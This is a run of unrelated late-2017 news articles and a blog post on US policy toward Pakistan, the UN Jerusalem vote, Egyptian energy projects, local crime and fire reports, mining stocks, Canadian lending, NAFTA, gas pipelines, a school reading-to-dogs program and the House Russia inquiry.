The nearly USD 50 billion CPEC, a flagship project of Chinas prestigious One Belt One Road (OBOR), passes through Pakistan-occupied Kashmir (PoK). The CPEC links China's restive Xinjiang region with Pakistan's Balochistan province.

"The US-India alliance has an identical stance on the Kashmir issue, and America frequently gives India preference over Pakistan," Janjua said.

He said Pakistan encountered the menace of terrorism only after it started supporting the operations of US-led forces in Afghanistan.

"Pakistan has been battling with security problems for the past forty years. Peace in Afghanistan remains our top priority," he said.
US President Donald Trump has asked Pakistan to take "decisive action" against terrorist groups operating from its soil, as he unveiled America's new National Security Strategy (NSS).

Mandated by the Congress, Trump released his first National Security Strategy, according to which the US seeks a Pakistan, that is not engaged in destabilising behavior and a stable and self-reliant Afghanistan.

"We have made clear to Pakistan that while we desire continued partnership, we must see decisive action against terrorist groups operating on their territory. And we make massive payments every year to Pakistan. They have to help," Trump said in his remarks as he announced his NSS.

Pakistan has received more than USD 33 billion from US since the 9/11 terror attacks.

"We will press Pakistan to intensify its counterterrorism efforts, since no partnership can survive a country's support for militants and terrorists who target a partner's own service members and officials," it said.

The US will also encourage Pakistan to continue demonstrating that it is a responsible steward of its nuclear assets, the NSS said.

The US will continue to partner with Afghanistan to promote peace and security in the region, it said.

"We will continue to promote anti-corruption reform in Afghanistan to increase the legitimacy of its government and reduce the appeal of violent extremist organisations," it added.

The NSS links its efforts to build trade and investment ties with Pakistan with improvement in security.

"We will press Pakistan to intensify its counterterrorism efforts, since no partnership can survive a country's support for militants and terrorists who target a partner's own service members and officials," it said.

Observing that the US continues to face threats from transnational terrorists and militants operating from within Pakistan, the NSS said the prospect for an Indo-Pakistani military conflict that could lead to a nuclear exchange remains a key concern requiring consistent diplomatic attention.

The Trump Administration has been talking tough with Pakistan after it came to power, but has stopped short of taking any action against it even though the Pakistani leadership have shown reluctance in taking decisive actions against terrorist groups.

On November 25, the White House asked Pakistan to immediately re-arrest and prosecute Hafiz Saeed, leader of Lashkar-e-Taiba.

"If Pakistan does not take action to lawfully detain Saeed and charge him for his crimes, its inaction will have repercussions for bilateral relations and for Pakistans global reputation," the White House Press Secretary Sarah Sanders had said.

In his South Asia speech on August 21, Trump became the first US president to publicly point out for its support to terrorist outfits and leaders.

"For its part, Pakistan often gives safe haven to agents of chaos, violence, and terror," he said and asked Pakistan to "demonstrate" its commitment to civilisation, order, and to peace.

US, Trump then said, can no longer be silent about Pakistan's safe havens for terrorist organisations, the Taliban, and other groups that pose a threat to the region and beyond.

Since then top US leadership including the Defense Secretary Jim Mattis and the Secretary of State Rex Tillerson have visited Pakistan to press the latter.

Mattis has refused to give necessary certification to Pakistan that it is taking action against Haqqani network, as a result of which blocking several hundred million coalition support funds to Islamabad.

However, in the last few weeks, top Pakistani diplomats based in the US have gone on a diplomatic overdrive to sell its narrative and have accused the Trump Administration of Indian agenda in South Asia.

During their series of public appearances at various think tanks in Washington Dc and New York, the Pakistani Ambassador to the US, Aizaz Ahmad Chaudhry, and its Permanent Representative to the United Nations Maleeha Lodhi have said the pronouncement of the Trump administration "which simply puts the blame" on Pakistan and asks India to "do more" in Afghanistan is "disconcerting" for Pakistan.

Both the diplomats insisted that there is crises of governance in US and the White House "being under siege" are affecting ties with South Asia.

Foreign Policy establishment is understaffed, they observed.
The United States was further isolated on Monday over President Donald Trump's decision to recognise Jerusalem as Israel's capital when it blocked a United Nations Security Council call for the declaration to be withdrawn.

The remaining 14 council members voted in favour of the Egyptian-drafted resolution, which did not specifically mention the United States or Trump but which expressed "deep regret at recent decisions concerning the status of Jerusalem."

"What we witnessed here in the Security Council is an insult. It won't be forgotten," U.S. Ambassador to the United Nations Nikki Haley said after the vote, adding that it was the first veto cast by the United States in more than six years.

"The fact that this veto is being done in defence of American sovereignty and in defence of America's role in the Middle East peace process is not a source of embarrassment for us; it should be an embarrassment to the remainder of the Security Council," Haley said.

The U.N. draft resolution affirmed "that any decisions and actions which purport to have altered the character, status or demographic composition of the Holy City of Jerusalem have no legal effect, are null and void and must be rescinded in compliance with relevant resolutions of the Security Council."

Trump abruptly reversed decades of U.S. policy this month when he recognised Jerusalem as Israel's capital, generating outrage from Palestinians and the Arab world and concern among Washington's western allies.

"In the wake of the decision of the United States ... the situation has become more tense with an increase in incidents, notably rockets fired from Gaza and clashes between Palestinians and Israeli security forces," U.N. Middle East peace envoy Nickolay Mladenov told the Security Council ahead of the vote.

EMERGENCY GENERAL ASSEMBLY SESSION

Trump also plans to move the U.S. embassy to Jerusalem from Tel Aviv. The draft U.N. resolution had called upon all countries to refrain from establishing diplomatic missions in Jerusalem.

Israeli Prime Minister Benjamin Netanyahu thanked Haley and Trump for the veto in a video clip posted on his Facebook page.

Israel considers Jerusalem its eternal and indivisible capital and wants all embassies based there. Palestinians want the capital of an independent Palestinian state to be in the city's eastern sector, which Israel captured in a 1967 war and annexed in a move never recognised internationally.

Following the U.S. veto, Egypt's Foreign Ministry said Arab states, which had agreed earlier this month to seek a Security Council resolution, would meet to evaluate the situation to determine what their next steps might be.

Palestinian Foreign Minister Riyad al-Maliki said the Palestinians would seek a rare emergency special session of the 193-member U.N. General Assembly on Trump's decision.

Under a 1950 resolution, an emergency special session can be called for the General Assembly to consider a matter "with a view to making appropriate recommendations to members for collective measures" if the Security Council fails to act.

Only 10 such sessions have been convened, and the last time the General Assembly met in such a session was in 2009 on Israeli actions in occupied Palestinian territories. Any outcome of such a session is non-binding, but carries political weight.
Private-sector companies are working with the government on positioning Egypt as an energy trading regional hub, a topic high on the agenda at the Al-Ahram energy conference on Monday

Egypts diversified geological composition and its strong local market of about 100 million people offer competitive edges for oil-and-gas sector investments, BP Country Manager Nader Zaki said at Al-Ahrams first energy conference on Monday.

The various gas fields in Egypt are of different geological compositions, which is not found anywhere in the world, Zaki said, speaking at a panel discussion during the conference.

Egypt also offers legislative stability, Zaki said, adding that this is why BP did not pull out of Egypt following 2011.



This, in addition to the countrys infrastructure investments and facilities on land and at sea, along with the human factor.

BP has already doubled its investments in gas compared to 2014, a target that was initially set for 2020, Zaki said.

Private-sector company representatives taking part in the panel on Monday said they are working with the Egyptian government to develop the oil and gas sector.

Our mission is to be a partner of the electricity and petroleum ministries for the generation and export of energy, ABB Egypt chairman Naji Jreijiri said.

The Swiss automation solutions company exports 15 percent of its production to Africa.

Separately, Siemens representative Emad Zaki said the Ataqa power plant was the fastest open-cycle project to be completed in the world, with work on the project completed within five months.

On the three Siemens power plants, Zaki said 14,400 MW will be linked to the national grid by mid-2018.

In January of this year, 4,800 MW were linked to the national grid from the project.

Also, Shells Managing Director Gasser Hanter praised the government discourse in speaking of "energy" rather than electricity or oil separately, a policy that attracts investors.

Infrastructure investments give Egypt a competitive edge, Hantar added.

Shell, which owns Idku liquefaction plant, is a partner with Egypt and is working closely on developing the sector to turn Egypt into an energy hub, Hantar said.

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December 19, 2017

The New National Security Strategy Paves A Path To Isolation

Yesterday the White House published a new National Security Strategy (pdf). The publication was, unusually, announced by the president in a stump speech. The new NSS is unusually long:

Reagan National Security Strategy was 41 pages, Bush 2002 was 31, Obama 2015 was 29. Trump's is 55 pages: Buffet of priorities without much prioritization.

The first "fundamental responsibility" the NSS sets out is:

.. to protect the American people, the homeland, and the American way of life ..

Micah Zenko points out that it does not really do that:

[A]lmost nothing in the .. document deals with the actual domestic threats, risks, and systemic harms that Americans experience every day.

...

The Trump NSS .. mentions terrorists 58 times, and pledges to defeat jihadist terrorists, just as all previous NSS documents have done since 9/11. Over the past 16-plus years, jihadis have killed 103 Americans within the United States, while right-wing terrorists have killed 68. During that same time period, drug-induced deaths have more than tripled, with over 59,000 Americans dying in 2016, while Americas suicide rate has risen by 25 percent, resulting in 43,000 deaths annually.

...

The Trump administrations NSS fails to do what it claims  protect Americans  largely because it does not address the real threats and risks faced by Americans. It might be an America First foreign policy, as the president contends, but it does not put Americans themselves first.

While it touches lots of foreign policy issues, the emphasis of the new NSS is more realist than the - on paper - more idealistic version of Obama's imperial strategy. There is less schmoozing about "values" and a new emphasis on "rivals", most importantly China and Russia.

Labeling those two countries as rivals implies that they are again seen on a similar level than the U.S. itself. It thus marks the end of the "unilateral moment" that the U.S. felt entitled to after the end of the Soviet Union. Sure, the U.S. is still trying to set itself apart from others. It just ridiculously vetoed a UN Security Council resolution that reaffirmed the occupied status of Jerusalem. But voting against all other members of the UNSC, including close allies like Britain, is not a sign of global leadership but of a pariah state.

That the "unilateral moment" has passed might have some very positive aspects for the world. The end of a global competition had allowed the U.S. to wage more wars:

[W]hile the United States engaged in forty-six military interventions from 19481991, from 19922017 that number increased fourfold to 188.

The interventions after 1991 occurred even while the U.S. had lost the ideological rationale of "countering communism" and while the chance of military operations against it was smaller than before. Moreover many of those interventions were not successful. Other states have found means to counter overwhelming military might.

The unchecked United States felt no necessity to weight potential responses from competitors. It did not show a "decent respect for the opinions of mankind". It proved itself to be a danger to global peace. It intervened because it could, not because there was a real national interest at stake, or even a decent chance of winning. The "unilateral moment" has cost the U.S. a lot of money and goodwill, and it brought little gain.

A rational U.S. strategy would recognize that the unilateral approach failed and thus emphasize other means. Real global cooperation and increasing economic and diplomatic power would likely be more successful than military might. The new National Security Strategy does not offer that. While it says it "will advance American influence" it ignores or rejects climate change and international "rules of the road", like the United Nations Convention on the Law of the Sea (UNCLOS). The Trump administration in putting more resources into the military and less into diplomatic and economic foreign policy measures. It is thereby, true to Trump's campaign stance, isolationist.

One can either have an overwhelming role or finesse one's influence through cooperation with others. The overwhelming role, demonstrated by military interventions, has not been successful. The cooperation approach is spelled out in the words of the NSS but rejected in its specific policies. The third way it is paving is one of isolation.

As a global citizen I welcome this development. A U.S. that again feels limited in its global reach will likely be more careful when it considers initiating new conflicts. It will do less damage to others and to itself.

Posted by b on December 19, 2017 at 11:46 UTC | Permalink

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Thanks to Nigel the Nutcracker from The Warehouse, we are granting wishes across the country!
Egypt is working on strengthening its electricity network to boost interconnection with other countries, the electricity minister said

Egypt is in talks with Saudi Arabia for an electricity interconnection project at a total investment cost of $1.56 billion and with a 3000 megawatt capacity, Electricity Minister Mohamed Shaker said Monday at an Al-Ahram energy conference.

The project is set to be operational by 2021, Shaker said.

Contracts with Gulf Cooperation Council Countries regarding electricity interconnection will be signed in April.

The electricity ministry is focusing on the strengthening of Egypts electricity grid to allow for the import and export of electricity through interconnection projects, the minister said.

The more we increase and strengthen our networks, the more we can increase the electricity linkage [with other countries], said Shaker.

Egypt is linked with Jordan with a 450 MW line, and with Libya through a 200 MW line.

Egypt has also been in negotiations with Cyprus and Greece over a number of energy projects.

A memorandum of understanding was signed for electricity interconnection between Egypt, Cyprus and Greece, for a 3000 MW capacity line, Shaker said.

Egypt is also in negotiations to sign an agreement to establish a maritime pipeline to transport gas from Aphrodite gas field to Egypt, Petroleum Minister Tarek El-Molla said at the conference.

Shaker presented a number of major electricity projects Egypt is working on with foreign partners.

Egypt is cooperating with Chinese company State Grid to implement a super voltage network with 500 kW capacity over a total of 1,210 kilometres, the electricity minister said.

The capacity of State Grid's network will reach 1,500 kW in the second phase.

Egypt signed a memorandum of understanding with the Beijing-based Global Energy Interconnection Development and Cooperation Organization (GEIDCO), an association that focuses on promoting sustainable development of energy, in August 2017.

Siemens project to save $1-1.3 bln

The Siemens project will save $1-1.3 billion as a result of the energy efficiency of the three 4.8 GW combined cycle power plants, Shaker said at the event.

By mid-2018, electricity worth 14.4 GW will be added to the grid from the Siemens power plants.

Shaker said the ministry has managed to close the gap between electricity demand and consumption, along with foreign partners, following the peaking of the gap in 2014.

The projected addition to the electricity grid is currently above demand, but it will adjust in the coming years to international standards, Shaker said.

Egypt has 90,000 MW wind energy capacity from land allocation

Egypt has a 90,000 MW wind energy capacity from the land currently allocated to wind energy production, Shaker said.

On solar energy, he said the combined cycle energy produced so far from solar energy is 232 MW and 750 MW from wind energy.

Shaker also spoke about the Benban solar power complex, set to produce 2,000 MW, the biggest amount of solar energy produced from one location, the minister said.

The 22/22/220 kv linkage station at Benban solar complex was completed, even before the completion of the power-generating stations.

The complex is set to produce 2000 MW in wind energy, the biggest wind energy produced from one place.

A total of 32 agreements were signed with private sector companies for renewable energy projects as part of the feed-in tariff programme, Shaker said.

Egypt is also working on a project to produce energy using the technology of pumping and storing solar energy with 2400 MW capacity, according to the minister.

Separately, three foreign consortia are working on a clean coal project worth $5.5-6 billion, to be implemented within five to six years, he announced.

Contracts are set to be signed in May-June 2018, Shaker added.

Electricity from Dabaa cheaper in the long-term than the Siemens plants

Generating electricity from nuclear power is cheaper on the long-term than from the Siemens plants, Shaker also said.

The Dabaa nuclear power plant will produce 1,200 MW from each of its four reactors and has a 60-year operational age.

Russia will loan Egypt $25 billion to finance the nuclear power plant, the countrys first.

However, by the end of the operational age of the plant, investments on Siemens will have cost 193 percent more than what was spent on nuclear power investments, due to the cost of natural gas, Shaker said.

The minister explained that electricity prices depend not just on capital investments, but also on the price of fuel to generate electricity.

Nuclear power as fuel for electricity is much cheaper than using natural gas as fuel; by 2024/25, fuel from natural gas pipelines will cost $8.4 per million British thermal unit (BTU), fuel from LNG will cost $12.4 per million BTU, while from nuclear energy it will cost $0.84 per million BTU.

In other words, the investment cost is higher for nuclear investments than from the Siemens plants, but the cost of getting electricity from the gas-fired plants will be much higher, making the long-term spending on electricity generation from Dabaa nuclear plant more cost-effective.

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Stolen vehicle

Someone stole a black Ford Fusion from the area of East Dunne Avenue and San Simeon Drive. The theft was reported 8:51am June 19.

A thief or thieves stole a tan Chevrolet Tahoe from a spot on Burnett Avenue. The crime was reported 8:30am June 23.

A black Honda Accord was stolen from a spot on the 100 block of West Dunne Avenue. The crime was reported 9:15pm June 23.

A black Mazda Protege, previously reported stolen, was parked near the railroad tracks in the area of Larkspur Loop and Church Street for months before someone reported the vehicle to police. MHPD officers arrived and later released the vehicle to its registered owner. The vehicle was reported to police 3:17pm June 27.

Vandalism

Someone broke a vehicles side mirror at the Chevron gas station located at 851 Cochrane Road. The crime was reported 6:25pm June 13.

Someone pried open a metal box containing more than a dozen mailboxes at an apartment complex on the 100 block of Wright Avenue, and stole the mail out of every mailbox. The crime was reported 9am June 21.

Petty theft

Two female juveniles were arrested on suspicion of stealing cosmetic and hair accessories from Rite-Aid, 16000 Monterey Road. The crime was reported 3:16pm June 25.

Disturbance

A man told police he was chased by a clown who was wielding a kitchen knife the size of a forearm in the area of Del Monte and Cosmo avenues. The man told police he had to run about five minutes to get away from the armed clown. Police responded but did not locate a clown in the area. The incident was reported 3:07am June 22.

Burglary

Someone burglarized a home on Monticello Way and stole a mobile smartphone. The victim told police the suspect or suspects might have gained entry by using the spare key under the doormat. The victim noticed the spare key was missing after realizing the home was burglarized. The crime was reported 8:30am June 28.

Auto burglary

A suspect or suspects smashed the window of a silver Mazda and stole a laptop computer and purse. The vehicle was parked on Burnett Avenue. The theft was reported 9:50am June 24.

Someone smashed the window of a Ford Escape and stole a purse. The vehicle was parked in front of Coldwell Banker, 950 Tennant Station Way. The burglary was reported 12:01pm June 25.

A thief or thieves stole tools out of a white Ford F350 parked in the area of Butterfield Boulevard and Central Avenue. The burglary was reported 7:43am June 29.

All subjects are innocent until proven guilty. Information is compiled from public records.
Officials are calling a fire that started in a vacant building in Valdese on Monday evening suspicious.

Five fire departments responded to a call at the old Alba Waldensian textile plant, located at 408 Praley St. SW, at around 8 p.m., said Charlie Watts, fire chief of Valdese Fire Department.

Firemen saw heavy smoke coming from the outside of the two-story building when they arrived. Watts said the fire started in the basement.

There was no power to the building, which led them to deem the fire as suspicious, Watts said.

He said on Tuesday, the fire department is still investigating the specific cause of the fire.

Fire departments were on scene until 3 a.m. working to fully extinguish the fire.

Watts said the size of the building takes up about one block of Praley Street and the fact that parts of the floor caught on fire is the reason firefighters were on scene so long.

Putting the main body of fire out wasnt a big deal... it wasnt a really large fire, but it got into the floors, Watts said. The floors in old industrial buildings are made out of heavy timbers so we had to cut into the floor to get to the fire.

They had to cut into the floor boards, which are at least 6 inches thick, in several different places with chainsaws, axes and pry bars, he said.

Damage from the fire was more structural, including to the walls and floors, instead of content that was inside, he said.

Fire officials also have known that some homeless people in the area had been living inside the building, Watts said.

The building, which has been vacant for several years, had furniture pieces and furniture frames that the last owner left inside, he said.

It is kind of a warehousing operation right now, Watts said. Right now, it is just vacant and there is stuff that people have left in there.

Icard Township, Lovelady, Drexel and Triple Community fire departments assisted Valdese in fire operations.

Burke County REACT, Burke EMS, Valdese Police and Burke County Fire Marshals Office were also on scene.

Staff Writer Jonelle Bobak can be reached at jbobak@morganton.com or 828-432-8907.
Emma Wall: Hello and welcome to the Morningstar Series 'Ask The Expert'. I'm Emma Wall and I am joined today by Matt Hodge, Morningstar Equity Analyst to talk about mining stocks.

So how have mining stocks fared in 2017, Matt.

Matthew Hodge: 2016 and 2017 have been really strong years for the resources side. There have been a couple of themes; China really pushed the stimulus in 2016. You've seen debt grow pretty rapidly in China.

Debt-to-GDP thats what they have used to finance that continued growth and over time their economic growth has become even more reliant on the fixed asset investment part of the economy. Construction, building roads, building buildings that kind of thing.

What we see now is you've got a whole bunch of commodities that are trading well above their marginal cost. So, aluminum, steel, steel making materials, so iron ore and coke and coal, alumina, manganese all well above average. And China supply side, coal as well.

China's supply side disruption has been important part of that as well. What they are doing internally and in coal and steel that it produces locally. Conditions now are very, very positive for the miners but we dont think that can continue forever given the foundation that it's built on which is around pretty rapidly rising debt and continued investment in things that arent generating strong returns in China. The reason why we are talking about China, is because China is basically half of the world's consumption of all of these groups.

Wall: And how does your outlook for commodity prices influence your opinion of a particular mining stock?

Hodge: In general, we're most negative on the steel making materials, particularly iron ore and coke and coal. And we're kind of more positive on oils, more consumption focused needs to be replenished because there is natural fare decline which means you need capital. Which means you need a price to incentivise that new investment.

If you look at Glencore (GLEN) and Anglo (AAL), they generally sit on a higher position on the cost curve relative to BHP (BLT) and Rio (RIO). So, they are more leveraged and by extension given that commodity prices are quite high right now, they are the ones that are most overvalued, the 11 names  they are most overvalued as we see commodity prices coming lower. They'll be impacted disproportionately.

Between BHP and Rio its really about the commodity mix. So there BHP is got a greater exposure to oil less on iron ore it's still significant, but Rio Tinto is really dominated by iron ore, it's bit of aluminum, bit of copper. So, given that we think of the four, that BHP's value is still overvalued within the group, but Rio Tinto next and then the more labored names are most overvalued.
Aida Muluneh is an award-winning photographer and the founder of Addis Foto Festival

Award-winning Ethiopian photographer Aida Muluneh, founder and managing director of Desta for Africa (DFA), will give a talk on photography in Ethiopia at Darb 1718 on 27 December.

Muluneh will talk about her photographic practice, mentored by African-American photographers, and her mission to provide balance in the portrayal of Africa and black people.

She will also talk about establishing DESTA (Developing and Educating Society Through Art) and the DFA, a social entrepreneurship company that works with governmental and cultural institutions, making use of images, education and cultural diplomacy.

Muluneh will also share her experience in teaching photography and establishing The Addis Foto Festival  the first international photo-festival in East Africa - as well as the challenges of developing the creative industry and acquiring foreign funding for cultural activities in Africa.

Born in Ethiopia in 1974, Muluneh spent much of her childhood between Yemen and England. After several years in a boarding school in Cyprus, she settled in Canada in 1985. In 2000, she graduated from Howard University in Washington, DC, majoring in Film. She later worked as a photojournalist with the Washington Post, and her work can be found in several international publications.

Aidas work has been shown in South Africa, Mali, Senegal, Egypt, Canada, United States of America, France, Germany, England, China, and elsewhere. Her images are in the permanent collection of the Smithsonian National Museum of African Art, Hood Museum and the Museum of Biblical Art, all in the United States.

Muluneh won the European Union Prize in the Rencontres Africaines de la Photographie in Mali in 2007, in addition to the CRAF International Award of Photography in Spilimbergo, Italy in 2010.

She is considered an expert on photography from Africa, and has been invited to judge at several photography competitions, most notably the Sony World Photography Awards 2017 and the World Press Photo Contest 2017.

Programme:

Wednesday 27 December, at 6pm

Darb 1718, Kasr El-Shamaa, Old Cairo

For more arts and culture news and updates, follow Ahram Online Arts and Culture on Twitter at @AhramOnlineArts and on Facebook at Ahram Online: Arts & Culture

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Amid a scarcity of viable financing choices, a growing number of Canadians are moving towards private unregulated lenders, even as the federal government is trying to rein in a home-price surge that has driven household debt levels to record highs.But like a giant game of Whac-A-Mole, the risk to the financial system from tapped out borrowers is merely shifting  this time to a market where theres no oversight from the countrys national bank regulator and new stress-test rules dont apply.Were transferring risk from the regulated segment to the unregulated segment of the market, Canadian Imperial Bank of Commerce deputy chief economist Benjamin Tal told Bloomberg. If we have a significant correction, clearly the unregulated markets will suffer even more because thats where the first casualties would be. And then you will see it elsewhere.Mortgage broker Samantha Brookes agreed with the observation, saying that more than 90% of her business in the last two months has been lining up funding from non-bank and private sources, or shadow banks, versus a 50-50 mix previously.People arent going to stop buying, theyll just find different ways of doing it, Brookes said.Read more: Govt should stop heaping new policies one after the other  OREA For the government, it may be a case of careful what you wish for. Anxious to prevent a repeat of the kind of taxpayer-funded bank bailouts that occurred in the U.S. after its housing crash a decade ago, the federal government has been moving to reduce its exposure to the mortgage-insurance market.Rules last year added a stress test for insured loans backed by the government. That sent more buyers to the uninsured space, where a 20% down payment is required. As of January 1, these borrowers will also need to qualify at a rate two percentage points higher than their offered rate, a move which could lower mortgage creation by as much as 15%, Canadas bank regulator has said.The rules, along with other measures such as a foreign-purchase tax, have had an initial bite, with Toronto house prices falling 8.8% from May to November and the average price of a home posting the first annual drop since 2009. Vancouver prices have reclaimed new heights after cooling earlier this year.But the risks to the financial system havent gone away. In the uninsured space, mortgages are increasingly going to highly indebted households and for amortizations for longer than 25 years, the central bank said. And like Brookess clients drowning in house debt, more borrowers are turning to lenders whose activities fall outside federal regulatory scope.These include credit unions and mortgage-investment corporations, pools of money from individual shareholders, which arent subject to the new rules, Tal said. Credit unions hold about 17% of uninsured mortgages, according to the Bank of Canada.
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WASHINGTON - President Donald Trump sent shock waves through the Texas business world when he opened up the North American Free Trade Agreement for renegotiation four months ago.

Would he tear up the deal? Would he imperil what for many is a lucrative cross-border trade between Texas and Mexico?

But so far developments have been slow in coming, with government officials announcing that negotiations would extend through at least the end of March.

"Most people think this is going to take a while," said Chet Thompson, president of the American Fuel & Petrochemical Manufacturers, which represents a number of Texas refineries. "You have the Mexican election and the U.S. midterms to contend with. This could easily go through 2018."

Texans in Washington are left trying to figure out what the White House is trying to accomplish.

What has many corporate leaders worried is U.S. Trade Representative Robert Lighthizer's focus on a provision within NAFTA that allows companies that feel they have not been treated fairly by a host government to take their claims before an independent tribunal.

The U.S. Chamber of Commerce maintains the provision is critical to protecting U.S. investments abroad. And considering the billions U.S. oil companies are readying to invest in Mexico now that its energy sector is open to foreign investors, oil executives are among NAFTA's biggest cheerleaders.

Last week, during a hearing before the House Energy and Commerce Committee, Texas congressmen expressed concern that if the Trump administration demanded a roll back in investment protection, it could do damage to increasingly intertwined energy markets in the United States, Mexico and Canada.

"On the one hand, the White House says we believe in energy dominance for our country and North America. On the other hand, the U.S. trade representative is undercutting that," Rep. Bill Flores, R-Waco, said.

The risk for Texas were NAFTA to be done away with - as President Donald Trump has threatened - is the loss of business for the state's dominant oil and gas industry. Mexico is the biggest export market for U.S. natural gas producers, at the same time refineries along the Gulf Coast rely on crude from Mexico and Canada to operate.

But Trump is riding increasing skepticism within the Republican and Democratic parties on free-trade deals that many see as giveaways to multinational corporations at the expense of the domestic workforce.

But just how far he is willing to go remains an open question among lobbyists in Washington.

"We hope some of this is just negotiating tactics," Thompson said.

In the meantime, corporate lobbyists are eagerly making their case for the White House to preserve NAFTA more or less as is - with some adjustments here and there to account for economic and technological advances made since the original agreement was signed into law by former president Bill Clinton in 1993.

At the center of those efforts are the growing oil and gas production out of North America, with the United States, Canada and Mexico ranking first, fifth and 11th on the global list of largest oil producers.

And more centrist congressmen from both parties are taking note.

"We're on our way to replacing OPEC with a de facto NAPEC," said Rep. Pete Olson, R-Sugar Land. "The Eagle Ford Shale doesn't stop at the Rio Grande, waiting for a visa to cross."
Houston-based Tellurian said it proposes to build an ambitious, $7 billion network of natural gas pipelines from West Texas' Permian Basin to liquefied natural gas export hubs in southern Louisiana.

The system also would include a pipeline from East Texas' and North Louisiana's Haynesville shale down to the same southern Louisiana hub north of Lake Charles. All of these would tie into existing pipeline systems and another planned pipeline to Tellurian's proposed Driftwood LNG export terminal south of Lake Charles.

Tellurian went public earlier this year after being founded by Charif Souki, the LNG pioneer who turned Houston's Cheniere Energy into the nation's first LNG exporter. Souki was ousted from Cheniere for allegedly planning too much growth and then he promptly founded Tellurian.

There are more than proposed 15 projects to expand or construct pipelines that will traverse most of Texas from the Permian Basin to Houston, Corpus Christi and Beaumont. But most of those are crude oil or natural gas liquids pipelines built to serve Texas Gulf Coast hubs.

RELATED: Total buys big stake in Charif Souki's Tellurian Investments

Tellurian's project is focused on dry gas extending even farther into Louisiana.

The other major natural gas pipeline project from the Permian in the works is the pending Gulf Coast Express pipeline project owned by Houston's Kinder Morgan and DCP Midstream, which is a joint venture between Houston's Phillips 66 and Calgary-based Enbridge. The Gulf Coast Express project would run from the Permian to Corpus Christi.

The biggest question with the Tellurian projects is how they'll be funded. Tellurian is hoping to sign on enough customers to move their natural gas by late 2018. The goal is to complete construction in 2022.

The Driftwood LNG project, which is still attracting financing, wouldn't come online until 2022 either if all goes as planned.

Tellurian President and CEO Meg Gentle, who joined Souki from Cheniere, said the proposed network would accommodate much of the anticipated 8 billion cubic feet a day of extra natural gas demand expected in southern Louisiana by 2025 as LNG exports grow.

The planned Tellurian network would include three different pipeline projects. The largest, the Permian Global Access Pipeline, would run 625 miles from West Texas' Pecos County to Gillis, Louisiana. The proposed Haynesville Global Access Pipeline would travel about 200 mile from northern Louisiana near the Arkansas border to Gillis. And the previously announced Driftwood Pipeline would connect Gillis across 96 miles to the Driftwood LNG export terminal.

Gentle said Tellurian hired the project leader for the controversial Dakota Access Pipeline to head up the Tellurian network. Joey Mahmoud, an executive vice president of Dallas-based Energy Transfer Partners, is the new president overseeing the Tellurian network.
BALTIMORE -- The gray and white pit bull sat in the center of the circle of fifth-graders. He listened attentively as the students took turns reading to him. At times, his droopy eyes appeared to lock with those of the readers.

Four-year-old Knox is one of the pet ambassadors who travel to Westport Academy Elementary/Middle School every Tuesday to listen to students read as part of an effort to improve their reading skills and boost their self-esteem.

Organizers say practicing reading with dogs promotes confidence among students who may struggle to read at grade level. The Maryland Society for the Prevention of Cruelty to Animals, one of the countrys oldest animal welfare groups, has been working with the school since January.

I was one of those kids growing up that reading out loud was scary for me, said Katie Flory, the Maryland SPCAs community affairs director. A lot of the kids here feel the same way. But with the dogs, they dont have to worry about that. Theyre not being judged.

Similar programs are catching on in animal shelters and schools across the country.

Less than 5 percent of students at Westport passed the English Language Arts portion of the statewide assessments last year. Flory said its too early to measure what impact reading to dogs might have on test scores. But Principal Melody Locke said it has already influenced the culture in the South Baltimore school.

I can say that interest in reading has definitely increased, she said. This is a piece of the puzzle, just getting them interested in picking books up.

In 2010, researchers at the University of California, Davis studied a group of students who read to dogs once a week for 10 weeks. They found that third-graders improved their reading fluency by 12 percent.

The experience also changed students feelings toward reading aloud. At the beginning of the study, students told the researchers that they felt self-conscious, clumsy, and uncomfortable reading out loud. By the end, they described it as fun and cool, and said they felt more relaxed when reading to a dog.

When Knox, the pitbull, and Lucy Gaga, a Boston terrier, walk through the Westport doors, theyre immediately enveloped by students who are excited to read to them, pet them, and cuddle with them on fuzzy carpets in the schools multipurpose room.

The students always look forward to reading to the dogs, third grade teacher Kelsey Stritzinger said. Their faces light up anytime I say, We have SPCA today.

Deasia Allen, a 10-year-old fifth-grader, said she has become a more confident reader since the dogs started showing up at her school. She likes it so much that she started reading to her own dog at home. She said her chihuahua, Missy, is a much more attentive listener than her little sister.

My dog never gets up and says, I want to leave, this is boring, Deasia said.

About 200 Westport students read to the dogs on an alternating, bi-weekly schedule.

The students flip through an age-appropriate book with an animal theme. They are encouraged to gently help their classmates sound out difficult words, or point them to the right page should they get lost.

As they read, Lucy Gaga weaves underneath the plastic blue chairs. Nearby, Knox sits in his doggy bed, while students lean over to pet him.

The books tie into larger lesson plans taught by SPCA staff on the humane treatment of animals. The staff members explain how to greet a dog correctly and what pet care entails, among other topics.

The SPCA hopes to leave students with more compassion for animals and each other. The students go on field trips to the shelter, and learn how to show love and care to cats and dogs.

Researchers say animal abuse indicates a person is more likely to also turn to violence against people.

I like how the children respond to the whole idea of being compassionate to animals, Locke said. If theyre compassionate to animals, the connection will be made to be compassionate to fellow human beings.

Locke said she notices students behaving more gently toward each other when they read to the dogs. Thats especially important at a school like Westport, she said, where about 30 percent of students have special needs and may be more susceptible to bullying.

The program is funded with a $15,000 grant from the The Harry and Jeanette Weinberg Foundation. The foundations Baltimore Library Project has transformed libraries at 14 middle and elementary schools in recent years.

The SPCA hopes to expand the program to more Weinberg libraries in coming years.

Its helped some of our more shy students come out of their shells, said Rachel Duden, a program associate with the foundation. Reading to the dogs and not feeling like they have to be scared has helped them improve.

Distributed by Tribune Content Agency
WASHINGTON  U.S. Rep. Mike Conaway, the House GOP leader of the investigation into Russian interference in the 2016 election, responded to criticism leveled his way last week by way of his Democratic counterpart, U.S. Rep. Adam Schiff of California.

Schiff charged late last week on Twitter and on television that Republicans  and implicitly, Conaway  are attempting to shut down the investigation at the end of this year.

Who said it was our last week? Conaway told reporters at the U.S. Capitol. You need to talk to him ... Remember what the rules are: I dont tell you what Im going to do.

The main issue is whether the committee will continue to interview witnesses after Congress leaves for the Christmas holiday. The Midlander said there were more witnesses to be interviewed and those interviews would not take place over the coming holidays: You can infer what you need to. But Ive got more people to talk to.

When asked Monday if he was trying to kill the investigation, Conaway said: No. Were trying to get it done.

Conaway is one of the most approachable members of the delegation for reporters on the Capitol Hill beat. But since he took over the House intelligence investigation, he has been conversely tight-lipped on the investigation and has tried his best to hurry past reporters while entering and exiting the secure facility where the House Intelligence Committee meets.

Like Conaway, many members of Congress treat the sensitive nature of intelligence differently than other issues.

